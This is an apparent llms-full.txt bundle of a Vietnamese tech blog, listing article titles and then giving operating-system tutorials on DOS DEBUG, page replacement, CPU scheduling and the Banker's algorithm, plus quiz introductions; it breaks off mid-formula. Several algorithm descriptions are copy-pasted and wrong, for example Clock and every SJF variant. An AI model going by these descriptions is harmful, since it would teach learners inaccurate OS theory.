# llms-full.txt — TienNHM (https://tiennhm.io.vn) > Bản toàn văn đi kèm /llms.txt (chuẩn https://llmstxt.org/). > Gộp nội dung docs/ và blog/ của site thành một file phẳng để AI crawler > và LLM ingest trong một lần fetch, thay vì crawl từng trang. Site: https://tiennhm.io.vn/ Index: https://tiennhm.io.vn/llms.txt Sitemap: https://tiennhm.io.vn/sitemap.xml Owner: Nguyễn Huỳnh Minh Tiến (TienNHM) Language: vi (chính), en (một phần) Generated: 2026-10-26 (scripts/generate-llms-full.js) ## Attribution Khi trích dẫn nội dung, vui lòng ghi nguồn "TienNHM" và dẫn link về URL gốc của trang — mỗi mục bên dưới có dòng `URL:` là canonical URL của nó. ## Phạm vi & giới hạn - Tổng số tài liệu quét được: 163 (docs: 114, blog: 49). - Số tài liệu có mặt trong file này: 163. - Ngân sách dung lượng: 2.0 MB. Trần nội dung mỗi tài liệu: 6 KB. - Khi thiếu chỗ: blog giữ 30% ngân sách (ưu tiên bài mới nhất), phần còn lại dành cho docs/. - Nội dung đã được strip khỏi MDX/JSX và frontmatter; chữ bên trong các component (SummaryBox, FAQSection, Checklist…) được giữ lại. - Khối code dài bị rút gọn; mọi chỗ rút gọn đều được đánh dấu tại chỗ. - Mỗi tài liệu bắt đầu bằng một dòng `========…` rồi tới `# ` và `URL: …`. ### Tài liệu bị rút gọn (94) — fetch URL để lấy bản đầy đủ - 1MCP Agent: gom mọi MCP server về một cửa, và bớt ngốn context — https://tiennhm.io.vn/blog/1mcp-agent-mcp-gateway - Diagram Design: dạy AI agent vẽ sơ đồ kỹ thuật gọn, đẹp và đúng màu thương hiệu — https://tiennhm.io.vn/blog/diagram-design-skill-ve-so-do-cho-ai-agent - Phát triển hướng kiểm thử (TDD) trong vòng đời phát triển hướng AI (AI-DLC): tổng quan bằng chứng và đề xuất thực hành — https://tiennhm.io.vn/blog/tdd-test-driven-development - Cài skill rồi code tiếp: cơ chế đằng sau và phần tri thức bị bỏ lại — https://tiennhm.io.vn/blog/agent-skills-co-che-va-tri-thuc-bi-bo-qua - Thêm 4 index làm INSERT chậm 6 lần: cái giá không ai nhắc khi bảo bạn đánh index — https://tiennhm.io.vn/blog/chi-phi-ghi-cua-index - MeiGen: thư viện prompt ảnh miễn phí, và cái MCP server ít người để ý — https://tiennhm.io.vn/blog/meigen-ai-prompt-gallery-mcp - Luỹ kế của bạn sai ngay dòng đầu: window function, RANGE và cái mặc định ít ai đọc — https://tiennhm.io.vn/blog/window-function-vs-group-by - MailKit trong .NET: gửi email SMTP và dựng HTML email template chạy đúng trên Outlook — https://tiennhm.io.vn/blog/mailkit-html-email-template - Hai giao dịch cùng cộng 100, số dư chỉ tăng 100: isolation level qua thí nghiệm thật — https://tiennhm.io.vn/blog/sql-isolation-level-lost-update-phantom-read - Có index rồi mà truy vấn vẫn quét toàn bảng? Sargability và một hàm bọc quanh cột — https://tiennhm.io.vn/blog/sql-index-khong-duoc-dung-sargable - LEFT JOIN của bạn đã thành INNER JOIN mà không ai báo — https://tiennhm.io.vn/blog/left-join-thanh-inner-join - Vì sao NOT IN của bạn trả về 0 dòng? Logic ba trị của SQL và cái bẫy NULL — https://tiennhm.io.vn/blog/sql-null-not-in-three-valued-logic - Một dấu tiếng Việt làm chết lời gọi API: cf-ipcity, HttpClient và giới hạn ASCII — https://tiennhm.io.vn/blog/cloudflare-header-broke-dotnet-httpclient - Forward header trong ASP.NET Core: vì sao 'forward hết' là một lỗi kiến trúc — https://tiennhm.io.vn/blog/forward-http-header-an-toan-aspnet-core - HTTP header có chứa được tiếng Việt không? ASCII, obs-text và chỗ .NET vạch ranh giới — https://tiennhm.io.vn/blog/http-header-unicode-ascii-dotnet - ONNX Runtime chết trên Alpine: lỗi ld-linux-x86-64.so.2 và vì sao libc6-compat không cứu được — https://tiennhm.io.vn/blog/onnx-runtime-alpine-ld-linux-x86-64-so-2 - Traefik + Cloudflare: vì sao cert hết hạn đồng loạt sau 60 ngày? — https://tiennhm.io.vn/blog/traefik-cloudflare-https-tu-dong-vps - Unit of Work trong .NET và ABP: SaveChangesAsync không phải commit — https://tiennhm.io.vn/blog/unit-of-work-dotnet-abp - Gọi .Result khi nào thì deadlock, khi nào thì không? — https://tiennhm.io.vn/blog/deadlock-result-wait-csharp - Vì sao EF Core bắn 201 query cho 1 màn hình danh sách? Cách sửa N+1 — https://tiennhm.io.vn/blog/ef-core-n-plus-1-query - Đổi id trên URL ra dữ liệu người khác? Chặn IDOR ở một tầng duy nhất — https://tiennhm.io.vn/blog/idor-broken-access-control-aspnet-core - Singleton, Scoped hay Transient? Chọn sai là DbContext sống mãi — https://tiennhm.io.vn/blog/singleton-scoped-transient-captive-dependency - Dựng một nền tảng CRM multi-tenant từ con số không: chuyện nghề 20 tháng — https://tiennhm.io.vn/blog/founding-engineer-nen-tang-crm-abp-dotnet-angular - Vì sao .NET ngốn 96% RAM container dù app đang rảnh? Server GC và cách giảm 65% bộ nhớ — https://tiennhm.io.vn/blog/dotnet-workstation-gc-giam-ram-container - Scalar là gì? Tại sao nên dùng Scalar thay Swagger UI trong ASP.NET Core 10 — https://tiennhm.io.vn/blog/gioi-thieu-scalar-api-reference-thay-the-swagger-ui - Cách mình giảm build time Angular 50% chỉ bằng 1 thay đổi đơn giản — https://tiennhm.io.vn/blog/improve-angular-build-time - Giới thiệu UUID (Universally Unique Identifier) - Định danh duy nhất toàn cầu — https://tiennhm.io.vn/blog/gioi-thieu-uuid-universally-unique-identifier - Giới thiệu DBML - Database Markup Language — https://tiennhm.io.vn/blog/gioi-thieu-dbml-database-markup-language - AI-DD: Phát Triển Phần Mềm AI-Driven - Series Toàn Diện — https://tiennhm.io.vn/blog/phat-trien-phan-mem-ai-driven-development - AI-DD - Phần 1: Giới Thiệu và Tác Động — https://tiennhm.io.vn/blog/phat-trien-phan-mem-ai-driven-development-phan-1 - AI-DD - Phần 2: Công Cụ AI và Nghiên Cứu Tình Huống — https://tiennhm.io.vn/blog/phat-trien-phan-mem-ai-driven-development-phan-2 - AI-DD - Phần 3: Số Liệu, Kinh Nghiệm Thực Tế và Rủi Ro — https://tiennhm.io.vn/blog/phat-trien-phan-mem-ai-driven-development-phan-3 - AI-DD - Phần 4: Tương Lai và Kết Luận — https://tiennhm.io.vn/blog/phat-trien-phan-mem-ai-driven-development-phan-4 - Các thư viện UI phổ biến cho Angular - So sánh và đánh giá — https://tiennhm.io.vn/blog/frontend-libraries-angular - Giới thiệu RabbitMQ - Message Broker mạnh mẽ — https://tiennhm.io.vn/blog/introduction-to-rabbitmq - Các kiểu lập trình phổ biến — https://tiennhm.io.vn/blog/programming-paradigm - Collation là gì? Character Sets, Collations và so sánh chuỗi trong MySQL — https://tiennhm.io.vn/blog/character-sets-and-collations-in-mysql - Các loại kiểm thử API: 9 loại, khác nhau ở đâu và chạy lúc nào — https://tiennhm.io.vn/blog/api-testing-types - Markdown Cheat Sheet: file .md là gì, viết README và viết cho AI agent đọc — https://tiennhm.io.vn/blog/markdown-cheat-sheet - GitHub Badges — https://tiennhm.io.vn/blog/github-badges - Những extensions tốt nhất cho Visual Studio Code — https://tiennhm.io.vn/blog/best-extensions-for-vs-code - 2.06 | Insecure Direct Object References — https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-06 - 3.04 | Missing Function Level Access Control — https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/missing-function-level-access-control-04 - Load testing API đơn giản — https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-02 - Load testing với Virtual Users — https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-03 - Trực quan hóa kết quả load test với Grafana và InfluxDB — https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-05 - M01.01 - Introduction to the Cloud — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/introduction-to-the-cloud - M01.02 - Benefits of the AWS Cloud — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/benefits-of-the-aws-cloud - M01.03 - Introduction to AWS Global Infrastructure — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/introduction-to-aws-global-infrastructure - M01.04 - The AWS Shared Responsibility Model — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/shared-responsibility-model - M01.05 - Applying Cloud Concepts to Real Life Use Cases — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/applying-cloud-concepts-to-real-life-use-cases - M01.06 - Module 1 Assessment — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/module-1-assessment - M01.07 - Module 1 Summary — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/module-1-summary - M02.01 - Introduction to Amazon EC2 — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/introduction-to-amazon-ec2 - M02.02 - Amazon EC2 Instance Types — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/amazon-ec2-instance-types - M02.03 - How to Provision AWS Resources — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/how-to-provision-aws-resources - M02.04 - Demo Launching an Amazon EC2 Instance — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/demo-launching-an-amazon-ec2-instance - M02.05 - Amazon EC2 Pricing — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/amazon-ec2-pricing - M02.06 - Scaling Amazon EC2 — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/scaling-amazon-ec2 - M02.07 - Directing Traffic with Elastic Load Balancing — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/directing-traffic-with-elastic-load-balancing - M02.08 - Messaging and Queuing — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/messaging-and-queuing - M02.09 - Module 2 Assessment — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/module-2-assessment - M02.10 - Module 2 Summary — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/module-2-summary - M03.01 - Introduction to Serverless Computing — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/introduction-to-serverless-computing - M03.02 - AWS Lambda — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/aws-lambda - M03.03 - Containers and Orchestration on AWS — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/containers-and-orchestration-on-aws - M03.04 - Additional Compute Services — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/additional-compute-services - M03.05 - Module 3 Assessment — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/module-3-assessment - M03.06 - Module 3 Summary — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/module-3-summary - M04.01 - Introduction to Going Global — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/introduction-to-going-global - M04.02 - Choosing AWS Regions — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/choosing-aws-regions - M04.03 - Diving Deeper into AWS Global Infrastructure — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/diving-deeper-into-aws-global-infrastructure - M04.04 - Infrastructure and Automation — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/infrastructure-and-automation - M04.05 - Module 4 Assessment — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/module-4-assessment - M04.06 - Module 4 Summary — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/module-4-summary - M05.01 - Introduction to Networking — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/introduction-to-networking - M05.02 - Organizing AWS Cloud Resources — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/organizing-aws-cloud-resources - M05.03 - More Ways to Connect to the AWS Cloud — https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/more-ways-to-connect-to-the-aws-cloud - Phần 1 - React Best Practices — https://tiennhm.io.vn/docs/agent-skills/agent-skills-01-react-best-practices - Phần 2 - React Performance Best Practices — https://tiennhm.io.vn/docs/agent-skills/agent-skills-11-react-performance - Phần 3 - Next.js Best Practices — https://tiennhm.io.vn/docs/agent-skills/agent-skills-02-nextjs-best-practices - Phần 4 - HTML + Tailwind Best Practices — https://tiennhm.io.vn/docs/agent-skills/agent-skills-03-html-tailwind-best-practices - Phần 5 - React Native Best Practices — https://tiennhm.io.vn/docs/agent-skills/agent-skills-04-react-native-best-practices - Phần 6 - Web Interface Best Practices — https://tiennhm.io.vn/docs/agent-skills/agent-skills-07-web-interface - Phần 7 - UX Best Practices — https://tiennhm.io.vn/docs/agent-skills/agent-skills-05-ux-best-practices - Phần 8 - Chart Selection Guide — https://tiennhm.io.vn/docs/agent-skills/agent-skills-14-charts - Phần 9 - Icon System Cheatsheet (Lucide) — https://tiennhm.io.vn/docs/agent-skills/agent-skills-15-icons - Phần 10 - Typography & Font Pairings — https://tiennhm.io.vn/docs/agent-skills/agent-skills-10-typography - Phần 11 - UI Color Palettes by Product Type — https://tiennhm.io.vn/docs/agent-skills/agent-skills-08-ui-color-palettes - Phần 12 - UI Styles & Design Systems — https://tiennhm.io.vn/docs/agent-skills/agent-skills-09-ui-styles - Phần 13 - UI Reasoning & Patterns — https://tiennhm.io.vn/docs/agent-skills/agent-skills-06-ui-reasoning - Phần 14 - Landing Page Patterns — https://tiennhm.io.vn/docs/agent-skills/agent-skills-12-landing-patterns - Phần 15 - Product UX Recipes — https://tiennhm.io.vn/docs/agent-skills/agent-skills-13-product-ux-recipes - Hướng dẫn Tối ưu SEO/GEO cho Blog — https://tiennhm.io.vn/docs/seo-geo-guide ============================================================================ # DOS Debug URL: https://tiennhm.io.vn/docs/operating-system/dos-debug Source: docs/01-operating-system/01.dos-debug.md Description: Hướng dẫn sử dụng lệnh DEBUG trong DOS để debug chương trình đơn giản. Tags: os, dos, debug, assembly, ascii # DOS Debug ## Giới thiệu Trong bài viết này, mình sẽ hướng dẫn các bạn sử dụng lệnh `DEBUG` trong DOS. Đây là một công cụ debug rất đơn giản, nhưng nó rất hữu ích để debug các chương trình đơn giản. Nó cũng rất hữu ích để học cách máy tính hoạt động ở mức low level. ## Hướng dẫn Debug trong DOS Tổng hợp các lệnh cơ bản trong DEBUG và hướng dẫn debug chương trình đơn giản. ## Hướng dẫn in bảng mã ASCII bằng hợp ngữ Trong video này, mình sẽ hướng dẫn các bạn in ra bảng mã ASCII bằng hợp ngữ. Đây là một bài tập rất hay để các bạn luyện tập hợp ngữ. ## Tổng kết Trong bài viết này, mình đã hướng dẫn các bạn debug chương trình đơn giản bằng DEBUG. Ngoài ra, mình cũng hướng dẫn các bạn in ra bảng mã ASCII bằng hợp ngữ. Hy vọng bài viết này sẽ giúp ích cho các bạn. Tip: Ôn thi Hệ điều hành Ngoài phần thực hành với DEBUG, bạn có thể luyện lý thuyết bằng ngân hàng trắc nghiệm Hệ điều hành 208 câu — chia theo từng chương, làm bài ngay trên web, chấm điểm và xem giải thích chi tiết cho mỗi đáp án. Đi tuần tự thì bắt đầu từ trắc nghiệm tổng quan hệ điều hành. Tip: Để xem thêm các video khác, các bạn có thể truy cập vào kênh Youtube (https://www.youtube.com/TienNguyen09) của mình. ============================================================================ # Các thuật toán thay trang URL: https://tiennhm.io.vn/docs/operating-system/page-replacement-algorithms Source: docs/01-operating-system/02.page-replacement-algorithms.md Description: Giới thiệu về các thuật toán thay trang (page replacement algorithms) trong hệ điều hành. Tags: page-replacement-algorithms, os, algorithm, fifo, optimal, lru, clock # Các thuật toán thay trang ## Giới thiệu Trong bài viết này, mình sẽ giới thiệu các thuật toán thay trang (page replacement algorithms) trong hệ điều hành. Các thuật toán này được sử dụng để thay thế các trang (page) trong bộ nhớ ảo (virtual memory) khi bộ nhớ đầy. ## Các thuật toán thay trang ### FIFO Thuật toán FIFO (First In First Out) sẽ thay thế trang đầu tiên được đưa vào bộ nhớ ảo. Thuật toán này dễ hiểu và dễ cài đặt, nhưng nó không phải là thuật toán tối ưu. ### Optimal Thuật toán Optimal sẽ thay thế trang mà sẽ không được sử dụng trong tương lai gần nhất. Thuật toán này là thuật toán tối ưu nhất, nhưng nó không thể cài đặt được. ### LRU Thuật toán LRU (Least Recently Used) sẽ thay thế trang mà được sử dụng lâu nhất. Thuật toán này là thuật toán tối ưu nhất có thể cài đặt được. #### LRU Stack Thuật toán LRU Stack sẽ thay thế trang mà được sử dụng lâu nhất. Thuật toán này là thuật toán tối ưu nhất có thể cài đặt được. #### LRU Counter Thuật toán LRU Counter sẽ thay thế trang mà được sử dụng lâu nhất. Thuật toán này là thuật toán tối ưu nhất có thể cài đặt được. ### Clock Thuật toán Clock sẽ thay thế trang mà được sử dụng lâu nhất. Thuật toán này không phải là thuật toán tối ưu, nhưng nó có thể cài đặt được. Khi cần chọn trang nạn nhân, kim quay vòng qua các khung và xét bit tham chiếu của từng khung (bit bật lên 1 mỗi khi trang được truy cập): [code mermaid] flowchart TD F["Page fault, không còn khung trống"] --> C{"Bit tham chiếu của khung tại kim = 1?"} C -->|"Có"| R["Xoá bit về 0 (cho thêm một cơ hội), kim sang khung kế"] R --> C C -->|"Không"| V["Thay trang tại kim bằng trang mới, kim sang khung kế"] [/code] ## Tổng kết Trong bài viết này, mình đã giới thiệu các thuật toán thay trang trong hệ điều hành. Hy vọng bài viết này sẽ giúp ích cho các bạn. Info: Bên cạnh các thuật toán trên, còn có các thuật toán khác như: MFU, LFU, Second Chance, Enhanced Second Chance, NRU, FIFO Approximation, LRU Approximation, Random, ... Các bạn có thể tìm hiểu thêm về các thuật toán này. Tip: Luyện tập Nắm lý thuyết rồi thì kiểm tra lại bằng trắc nghiệm bộ nhớ ảo và thay trang: đủ bài tính FIFO, LRU, Optimal và CLOCK trên cùng một chuỗi tham chiếu để so sánh trực tiếp, kèm bảng khung trang từng bước và lời giải cho nghịch lý Belady. Hai phần nền nằm dưới thuật toán thay trang: trắc nghiệm phân trang và TLB (bảng trang đa cấp, thời gian truy cập hiệu quả) và trắc nghiệm quản lý bộ nhớ (MMU, Best-Fit, swap space). Tip: Để xem thêm các video khác, các bạn có thể truy cập vào kênh Youtube (https://www.youtube.com/TienNguyen09) của mình. ============================================================================ # Các thuật toán lập lịch tiến trình URL: https://tiennhm.io.vn/docs/operating-system/process-scheduling-algorithms Source: docs/01-operating-system/03.os-process-scheduling-algorithms.md Description: Giới thiệu về các thuật toán lập lịch tiến trình (process scheduling algorithms) trong hệ điều hành. Tags: process-scheduling-algorithms, os, algorithm, fcfs, sjf, round-robin # Các thuật toán lập lịch tiến trình ## Giới thiệu Trong bài viết này, mình sẽ giới thiệu các thuật toán lập lịch tiến trình (process scheduling algorithms) trong hệ điều hành. Các thuật toán này được sử dụng để lập lịch các tiến trình (process) trong hệ điều hành. ## Các thuật toán lập lịch tiến trình Các thuật toán dưới đây khác nhau ở hai câu hỏi: có giành CPU từ tiến trình đang chạy hay không, và chọn tiến trình nào chạy tiếp. [code mermaid] flowchart TD Q{"Giành CPU từ tiến trình đang chạy?"} Q -->|"Không (non-preemptive)"| N{"Chọn tiến trình kế tiếp theo"} Q -->|"Có (preemptive)"| P{"Giành khi nào?"} N -->|"Thứ tự đến"| FCFS["FCFS"] N -->|"Thời gian chạy ngắn nhất"| SJFN["SJF Non-preemptive"] P -->|"Có tiến trình mới ngắn hơn phần còn lại"| SJFP["SJF Preemptive"] P -->|"Hết time quantum"| RR["RR (Round Robin)"] [/code] ### FCFS Thuật toán FCFS (First Come First Served) sẽ lập lịch các tiến trình theo thứ tự đến trước thì được lập lịch trước. Thuật toán này dễ hiểu và dễ cài đặt, nhưng nó không phải là thuật toán tối ưu. ### SJF Thuật toán SJF (Shortest Job First) sẽ lập lịch các tiến trình theo thứ tự thời gian thực thi ngắn nhất thì được lập lịch trước. Thuật toán này là thuật toán tối ưu nhất, nhưng nó không thể cài đặt được. #### SJF Non-preemptive Thuật toán SJF Non-preemptive sẽ lập lịch các tiến trình theo thứ tự thời gian thực thi ngắn nhất thì được lập lịch trước. Thuật toán này là thuật toán tối ưu nhất, nhưng nó không thể cài đặt được. #### SJF Preemptive Thuật toán SJF Preemptive sẽ lập lịch các tiến trình theo thứ tự thời gian thực thi ngắn nhất thì được lập lịch trước. Thuật toán này là thuật toán tối ưu nhất, nhưng nó không thể cài đặt được. ### RR Thuật toán RR (Round Robin) sẽ lập lịch các tiến trình theo thứ tự vòng tròn. Thuật toán này dễ hiểu và dễ cài đặt, nhưng nó không phải là thuật toán tối ưu. #### Part 1 #### Part 2 ## Tổng kết Trong bài viết này, mình đã giới thiệu các thuật toán lập lịch tiến trình trong hệ điều hành. Hy vọng bài viết này sẽ giúp ích cho các bạn. Info: Bên cạnh các thuật toán trên, còn có các thuật toán khác như: Shortest Remaining Time First, Multilevel Queue, Multilevel Feedback Queue, ... Các bạn có thể tìm hiểu thêm về các thuật toán này. Tip: Luyện tập Thử sức với trắc nghiệm tiến trình và lập lịch CPU: FCFS, SJF, SRTF, Round Robin và Multilevel Feedback Queue chạy trên cùng một bộ dữ liệu để thấy rõ khác biệt, mỗi câu kèm sơ đồ Gantt và cách tính thời gian chờ từng bước. Hai chủ đề đi liền ngay sau lập lịch: trắc nghiệm đồng bộ tiến trình và trắc nghiệm deadlock. Tip: Để xem thêm các video khác, các bạn có thể truy cập vào kênh Youtube (https://www.youtube.com/TienNguyen09) của mình. ============================================================================ # Giải thuật Banker URL: https://tiennhm.io.vn/docs/operating-system/bankers-algorithm Source: docs/01-operating-system/04.os-bankers-algorithm.md Description: Giới thiệu về giải thuật Banker (Banker's Algorithm) được sử dụng để phân bổ tài nguyên cho các tiến trình (process) trong hệ điều hành. Tags: operating-system, os, bankers-algorithm, algorithm, banker # Giải thuật Banker ## Giới thiệu Trong bài viết này, mình sẽ giới thiệu về giải thuật Banker (Banker's Algorithm) trong hệ điều hành. Giải thuật này được sử dụng để phân bổ tài nguyên cho các tiến trình (process) trong hệ điều hành. ## Giải thuật Banker Phần cốt lõi của giải thuật là kiểm tra một trạng thái có an toàn hay không: ![Thuật toán kiểm tra an toàn của Banker: khởi tạo Work = Available và Finish[i] = false cho mọi tiến trình. Lặp lại: tìm tiến trình Pi chưa xong mà Need_i ≤ Work (so từng loại tài nguyên, với Need_i = Max_i − Allocation_i); nếu có thì giả sử Pi chạy xong, cộng Allocation_i vào Work, đặt Finish[i] = true và nối Pi vào chuỗi an toàn. Khi không còn Pi nào thoả, nếu mọi Finish[i] đều true thì trạng thái an toàn, ngược lại không an toàn và có thể dẫn tới deadlock.](./img/banker-safety.png#gh-light-mode-only) ![Thuật toán kiểm tra an toàn của Banker: khởi tạo Work = Available và Finish[i] = false cho mọi tiến trình. Lặp lại: tìm tiến trình Pi chưa xong mà Need_i ≤ Work (so từng loại tài nguyên, với Need_i = Max_i − Allocation_i); nếu có thì giả sử Pi chạy xong, cộng Allocation_i vào Work, đặt Finish[i] = true và nối Pi vào chuỗi an toàn. Khi không còn Pi nào thoả, nếu mọi Finish[i] đều true thì trạng thái an toàn, ngược lại không an toàn và có thể dẫn tới deadlock.](./img/banker-safety-dark.png#gh-dark-mode-only) File gốc: nền sáng · nền tối Khi một tiến trình xin thêm tài nguyên, hệ điều hành chỉ cấp nếu trạng thái sau khi cấp vẫn an toàn: [code mermaid] flowchart TD A["Pi yêu cầu Request_i"] --> B{"Request_i ≤ Need_i?"} B -->|"Không"| E["Báo lỗi: vượt Max đã khai báo"] B -->|"Có"| C{"Request_i ≤ Available?"} C -->|"Không"| W["Pi phải chờ"] C -->|"Có"| D["Cấp phát thử: Available −= Request_i, Allocation_i += Request_i, Need_i −= Request_i"] D --> S{"Trạng thái mới an toàn?"} S -->|"Có"| G["Giữ nguyên cấp phát"] S -->|"Không"| R["Hoàn tác, Pi phải chờ"] [/code] ## Tổng kết Trong bài viết này, mình đã giới thiệu về giải thuật Banker (Banker's Algorithm) trong hệ điều hành. Hy vọng bài viết này sẽ giúp ích cho các bạn. Tip: Luyện tập Giải thuật Banker xuất hiện dày đặc trong trắc nghiệm deadlock: tìm chuỗi an toàn, tính tổng tài nguyên của hệ thống, đọc đồ thị cấp phát tài nguyên và phân biệt bốn điều kiện Coffman. Muốn làm nguyên đề thì vào đề thi thử Hệ điều hành — 30 câu trộn ngẫu nhiên, có đếm giờ. Tip: Để xem thêm các video khác, các bạn có thể truy cập vào kênh Youtube (https://www.youtube.com/TienNguyen09) của mình. ============================================================================ # Trắc nghiệm tổng quan hệ điều hành URL: https://tiennhm.io.vn/docs/operating-system/quiz/os-overview Source: docs/01-operating-system/05-quiz/01.overview.mdx Description: Câu hỏi trắc nghiệm về chức năng hệ điều hành, system call, ngắt, IPC và phân loại hệ thống, có đáp án và giải thích chi tiết. Tags: os, quiz, system-call # Trắc nghiệm: Tổng quan hệ điều hành Câu hỏi lấy từ đề thi cuối kỳ: chức năng hệ điều hành, system call, cơ chế ngắt, giao tiếp liên tiến trình và phân loại hệ thống. Muốn chạm tay vào hệ điều hành ở mức thấp nhất thì xem thêm bài thực hành DOS Debug. ============================================================================ # Trắc nghiệm tiến trình và lập lịch CPU URL: https://tiennhm.io.vn/docs/operating-system/quiz/cpu-scheduling Source: docs/01-operating-system/05-quiz/02.process-scheduling.mdx Description: Bài tập trắc nghiệm lập lịch CPU - FCFS, SJF, SRTF, Round Robin, Priority - kèm sơ đồ Gantt và cách tính thời gian chờ, turnaround từng bước. Tags: os, quiz, cpu-scheduling # Trắc nghiệm: Tiến trình và lập lịch CPU Phần nặng bài tập nhất của đề thi. Mỗi câu tính toán đều có sơ đồ Gantt và các bước ra số trong phần Chi tiết. Chưa vững lý thuyết thì đọc Các thuật toán lập lịch tiến trình trước, trong đó có ví dụ tính tay cho FCFS, SJF và Round Robin. Tip: Công thức phải thuộc - Turnaround time = thời điểm hoàn thành − thời điểm đến - Waiting time = turnaround time − burst time - Hoà nhau trong SJF: ưu tiên tiến trình đến trước. Hoà trong SRTF: giữ tiến trình đang chạy. ============================================================================ # Trắc nghiệm đồng bộ và miền găng URL: https://tiennhm.io.vn/docs/operating-system/quiz/process-synchronization Source: docs/01-operating-system/05-quiz/03.synchronization.mdx Description: Trắc nghiệm đồng bộ tiến trình - miền găng, thuật toán Peterson, mutex lock, semaphore, monitor và các bài toán kinh điển, có giải thích chi tiết. Tags: os, quiz, synchronization # Trắc nghiệm: Đồng bộ và miền găng Ba yêu cầu của bài toán Critical Section rất hay bị hỏi xoay vòng trong đề — đọc kỹ phần giải thích để phân biệt Progress với Bounded Waiting. Phần sau là các cơ chế đồng bộ: Peterson, mutex lock, semaphore, monitor và bài toán producer–consumer. Khoá sai thứ tự là sinh ra kẹt vĩnh viễn — phần đó nằm ở trắc nghiệm deadlock. ============================================================================ # Trắc nghiệm deadlock và starvation URL: https://tiennhm.io.vn/docs/operating-system/quiz/deadlock Source: docs/01-operating-system/05-quiz/04.deadlock.mdx Description: Trắc nghiệm về deadlock và starvation - phân biệt hai hiện tượng, phá điều kiện Hold and Wait, điều kiện số tài nguyên an toàn. Tags: os, quiz, deadlock # Trắc nghiệm: Deadlock và starvation Hai hiện tượng rất hay bị nhầm lẫn: deadlock là chờ một sự kiện không bao giờ xảy ra, starvation là chờ một sự kiện có xảy ra nhưng không bao giờ tới lượt mình. Các câu về chuỗi an toàn dựa trên Giải thuật Banker; còn nguồn gốc deadlock từ semaphore thì nằm ở trắc nghiệm đồng bộ tiến trình. Tip: Nhớ nhanh Ngăn deadlock = phá một trong bốn điều kiện Coffman (mutual exclusion, hold and wait, no preemption, circular wait). Nhưng phá xong vẫn có thể starvation — đó là hai bài toán khác nhau. Điều kiện đủ để chắc chắn không deadlock với tài nguyên cùng loại: tổng (Si − 1) < m, tương đương m ≥ tổng Si − n + 1. ============================================================================ # Trắc nghiệm quản lý bộ nhớ URL: https://tiennhm.io.vn/docs/operating-system/quiz/memory-management Source: docs/01-operating-system/05-quiz/05.memory-management.mdx Description: Trắc nghiệm quản lý bộ nhớ - dịch địa chỉ động, MMU, cấp phát phân vùng Best-fit, swap space và lỗi trang, có giải thích chi tiết. Tags: os, quiz, memory-management # Trắc nghiệm: Quản lý bộ nhớ Phần này nối tiếp bài Các thuật toán thay trang — ở đó là cách chọn trang nạn nhân, còn ở đây là phần nền: ai dịch địa chỉ, cấp phát phân vùng ra sao, swap space để làm gì. Cơ chế chia bộ nhớ thành trang và bảng trang thì xem trắc nghiệm phân trang và TLB. ============================================================================ # Trắc nghiệm phân trang và TLB URL: https://tiennhm.io.vn/docs/operating-system/quiz/paging-tlb Source: docs/01-operating-system/05-quiz/06.paging.mdx Description: Trắc nghiệm phân trang - bảng trang đa cấp, kích thước bảng trang, số bit địa chỉ logic và vật lý, thời gian truy cập hiệu quả với TLB, bảng trang băm. Tags: os, quiz, paging # Trắc nghiệm: Phân trang, bảng trang và TLB Nhóm câu tính toán nhiều nhất của phần bộ nhớ. Hầu hết chỉ cần tách đúng địa chỉ thành các trường bit là ra đáp án. Khi khung trang đã đầy thì phải chọn trang nạn nhân — xem Các thuật toán thay trang và trắc nghiệm bộ nhớ ảo. Tip: Bộ công thức dùng chung - Trang `2^n` byte → offset n bit; số hiệu trang = số bit địa chỉ − n - Số bảng cấp 2 = số mục của bảng cấp 1 = `2^p1`; số mục mỗi bảng cấp 2 = 